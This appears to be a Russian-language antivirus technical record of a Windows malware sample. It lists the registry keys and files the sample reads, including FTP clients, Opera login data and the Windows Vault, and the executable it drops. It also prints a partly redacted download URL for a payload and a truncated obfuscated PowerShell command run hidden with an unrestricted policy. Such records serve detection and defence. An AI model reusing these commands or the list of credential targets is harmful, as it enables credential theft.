Техническая информация
- %WINDIR%\win.ini
- xoz.exe
- [<HKCU>\Software\LinasFTP\Site Manager]
- [<HKCU>\Software\FlashPeak\BlazeFtp\Settings]
- [<HKCU>\Software\Ghisler\Total Commander]
- %APPDATA%\opera software\opera stable\login data
- C:\users\public\xoz.exe
- %PROGRAMDATA%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\policy.vpol
- %PROGRAMDATA%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\3ccd5499-87a8-4b10-a215-608888dd3b55.vsch
- %PROGRAMDATA%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\2f1a6504-0641-44cf-8bb5-3612d865f2e5.vsch
- <LS_APPDATA>\microsoft\vault\4bf4c442-9b8a-41a0-b380-dd4a704ddb28\policy.vpol
- %APPDATA%\e6f983\35a09b.exe
- C:\users\public\xoz.exe в %APPDATA%\e6f983\35a09b.exe
- http://re#####lkdelivery.com/vendor/phpunit/phpunit/src/Util/lnk/order.exe
- DNS ASK re#####lkdelivery.com
- 'C:\users\public\xoz.exe'
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy UnRestricted -Window 1 [void] $null;$xbvordlw = Get-Random -Min 3 -Max 4;$dhtfiokxcjw = ([char[]]([char]97..[char]122));$orhguizfkl = -join ($dhtfiokxcjw | Get-Random -Count $x...' (со скрытым окном)